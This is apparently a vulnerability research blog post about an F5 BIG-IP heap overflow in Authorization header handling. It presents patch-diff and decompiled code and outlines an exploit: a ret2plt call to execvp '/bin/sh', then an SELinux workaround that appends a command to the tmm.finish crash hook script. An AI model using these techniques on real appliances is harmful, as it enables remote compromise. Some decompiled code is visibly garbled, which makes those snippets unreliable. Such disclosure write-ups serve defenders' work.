2026-09-23 23:19 UTC
Is This A Joke? In The Auth Header? (F5 BIG-IP UnAuth Heap-Overflow to RCE CVE-2026-94127)
Well, well, well, well, well, well, well, well, well, well, well, well, well, well, well. We're back. Sorry.
We've been watching the onslaught of vulnerabilities flood the internet. Every man, dog, and their grandmas (apparently?) are now using LLMs to find and reproduce vulnerabilities - it’s a free-for-all (unless you’re trying to buy RAM).
Unfortunately, while we're all finding more vulnerabilities and flexing obfuscated stack traces…
(or emoji-ridden HTTP requests that are actually complete slop and not real, and please, for the love of god, no, those slop-ridden payloads appearing in your access_log are not proof of exploitation jesus wept, it’s becoming traumatic)
…on many social media networks, some things have remained reassuringly steadfast: the vendors and their struggle to seemingly care about the security of your network.
Yes, that’s right - it’s time for more Secure by Design jokes. Welcome back to another watchTowr Labs blog post.
We’ve missed you (admit you’ve missed us, please).
You’ve guessed it - we’re looking at F5’s BIG-IP solution today.
What Is CVE-2026-94127, and How Does Refresh Have A CVE?
Hah.
F5, the Seattle-based vendor quietly responsible for a worrying amount of the internet's plumbing, makes BIG-IP: an application delivery controller (ADC) that sits in front of your applications and decides where every request goes.
Beyond basic load balancing, a typical BIG-IP deployment handles Layer 4 and Layer 7 traffic management, SSL/TLS offloading, DNS and global server load balancing, and, depending on how many licenses procurement signed off on, a web application firewall (Advanced WAF) and a remote access and SSO gateway (APM).
All of this runs on F5's own TMOS operating system and is administered through a web-based Configuration Utility (TMUI) and the iControl REST API.
In other words, it lives at the very edge of your network, terminates your TLS, sees all of your traffic in plaintext, and holds the keys to your authentication.
But what is CVE-2026-94127?
As with all good stories, it began with a new KB ID. On Sept 22nd (yesterday), F5 published the following advisory:
Despite the talk about planes, there was no flying (see! you’ve missed this humor!).
The F5 official advisory (K000162605) lists the following versions as affected:
Product
Branch
Versions known to be vulnerable
Fixes introduced in
BIG-IP APM
21.x
21.1.0
Hotfix-BIGIP-21.1.0.2.0.30.22-ENG.iso
BIG-IP APM
17.x
17.5.0 – 17.5.1
17.1.0 – 17.1.3
Hotfix-BIGIP-17.5.1.9.0.160.12-ENG.iso
Hotfix-BIGIP-17.1.3.5.0.41.14-ENG.iso
BIG-IP (all other modules)
All
None
Not applicable
BIG-IQ Centralized Management
All
None
Not applicable
Better yet, the CWE assignment quickly caught our attention:
Even more scary, though: this wasn't just any vulnerability. There were bad people on the Internet exploiting it. We instantly had questions:
How could they? Aren't these complex vulnerabilities? Are they geniuses?When is dinner?Setting The Scene
To fuel our analysis today, we set up an F5 BIG-IP appliance with a virtual server with an OAuth profile configured, and compared the following versions following our normal ‘what the hell has changed’ process:
Vulnerable: BIG-IP 21.1.0, build 0.0.38Different: BIG-IP 21.1.0.2, hotfix build 0.30.22Patch-Diffing Our Way Out Of Hell
As with any other beautifully designed security product (cough Citrix cough), it seems the person of interest is yet another massive ELF file.
Yeeting these files straight into IDA, and starting our good old friend Diaphora, we were greeted with the excitement of exporting 1728 functions in each binary to subsequently compare.
An eternity (7 TikTok videos) later, Diaphora finished its comparison, and the patch was, as always, depressing:
--- unpatched/tmm64.pgo_use/sub_10B01C0.c
+++ patched/tmm64.pgo_use/sub_10B0E00.c
@@ -163,10 +160,20 @@
-LABEL_17:
- if ( !v13 )
+LABEL_26:
+ if ( v20 > 0x4100 )
+ {
+ v15 = 5;
+ v26 = 29;
+ v27 = "Authorization header too big.";
+ if ( *(_DWORD *)(v5 + 616) )
+ goto LABEL_19;
+ goto LABEL_30;
+ }
+ if ( !v20 )
{
-LABEL_21:
- v22 = *(_QWORD *)(v5 + 520);
- goto LABEL_22;
+LABEL_11:
+ v10 = *(_QWORD *)(v5 + 520);
+ goto LABEL_12;
}
- if ( sub_1527C00(v77, v84, v85, v8, v13, 0) == v13 )
+ if ( sub_152E2C0(v72, v81, v82, v8, v20, 0) == v20 )
If you squint, you can spot a clue. The jokes are so obvious we’ve actually had to pace ourselves to painstakingly stretch them across today’s drivel.
Before We Make The Obvious Jokes
Let’s actually walk through the patched code and make it painstakingly clear (more than it is already) how ridiculous this entire situation is:
__int64 __fastcall sub_1147D80(__int64 a1, unsigned __int64 a2, __int64 a3)
{
[..SNIP..]
++*(_QWORD *)(qword_51F36C0 + 1352);
a3 = *(_QWORD *)(a1 + 48);
if ( (*(_WORD *)(a3 - 8) & 0x3FFF) == 0 )
goto LABEL_68;
++*(_QWORD *)(*(_QWORD *)(a3 + 320) + 592LL);
if ( v7 )
++*(_QWORD *)(v7 + 592);
a2 = 66;
v8 = (char *)umalloc(0x4100, 66, 0); // [1] allocate a heap buffer of size 0x4100
if ( !v8 )
{
v15 = 1;
v26 = 30;
v27 = "Out of memory for UserInfo req";
if ( *(_DWORD *)(v5 + 616) )
goto LABEL_19;
goto LABEL_30;
}
if ( *(_WORD *)(v3 + 442) > 4;
v17 = *(_QWORD *)(a2 + 8 * a3) + 24LL * (v9 & 0xF);
if ( !v17 )
goto LABEL_11;
v18 = *(unsigned __int8 *)(v17 + 18);
a3 = *(_DWORD *)(v17 + 8) + (unsigned int)*(unsigned __int16 *)(v17 + 16);
v19 = *(_DWORD *)(v17 + 4) - a3;
if ( v19 == v18 )
goto LABEL_11;
v20 = (unsigned int)(v19 - v18); // [2] extract the Authorization header size
v21 = *(_QWORD *)(v3 + 12);
if ( v21 )
{
v22 = *(_QWORD *)(v21 + 8) + *(unsigned __int16 *)(v21 + 6);
v82 = *(_QWORD *)(v3 + 12);
v81 = v22;
a3 = (unsigned int)(*(_DWORD *)v17 + a3);
v23 = *(unsigned __int16 *)(v21 + 6);
v24 = *(_QWORD *)(v21 + 8);
a2 = a3 + v22;
if ( a2 >= v24 + v23 && a2 0x4100 ) // [3] check the header size to not be more than 0x4100
{
v15 = 5;
v26 = 29;
v27 = "Authorization header too big."; // [4] error message
if ( *(_DWORD *)(v5 + 616) )
goto LABEL_19;
goto LABEL_30;
}
if ( !v20 )
{
LABEL_11:
v10 = *(_QWORD *)(v5 + 520);
goto LABEL_12;
}
// [5] copy the Authorization header value to the heap buffer which is v8
if ( memcpy_wrapper(v72, v81, v82, v8, v20, 0) == v20 )
{
if ( v20 callback
call r9 ; call the overwritten address
A bit of basic stack-pivoting gets the alignment and arguments into place, and from there it is a clean run of gadgets.
Our first idea was a classic ret2plt: chain a gadget to call execvp:
execvp(
"/bin/sh",
(char *[]) { "sh", "-c", "touch /watchTowr.txt", NULL }
);
We actually built the gadget, but as always, the moment we let ourselves feel like we had achieved something, SELinux slapped us in the face and blocked the exec syscall:
-1, errno=13 (EACCES) :(
Getting around SELinux
While looking for a way around SELinux, we thought: what if we just write a file to disk and drop a web shell instead?
That plan was scuppered when we found the web server was also under SELinux.
So we started poking around further, monitoring processes, and noticed a Bash script that kept getting called every time our target process crashed:
bash /etc/bigstart/scripts/tmm.finish
A hook script? We decided to reuse the ret2plt, this time to append the command we wanted to run, to the hook script itself.
Here are the calls we make:
fd = open("/etc/bigstart/scripts/tmm.finish", O_WRONLY | O_APPEND);
write(fd, "/usr/bin/touch /watchTowr.txt;", 30);
0:00
/0:25
1×
It is 2026, AGI is here, and we are still writing overflow 101 vulnerability analyses.
Replies (0)
No replies.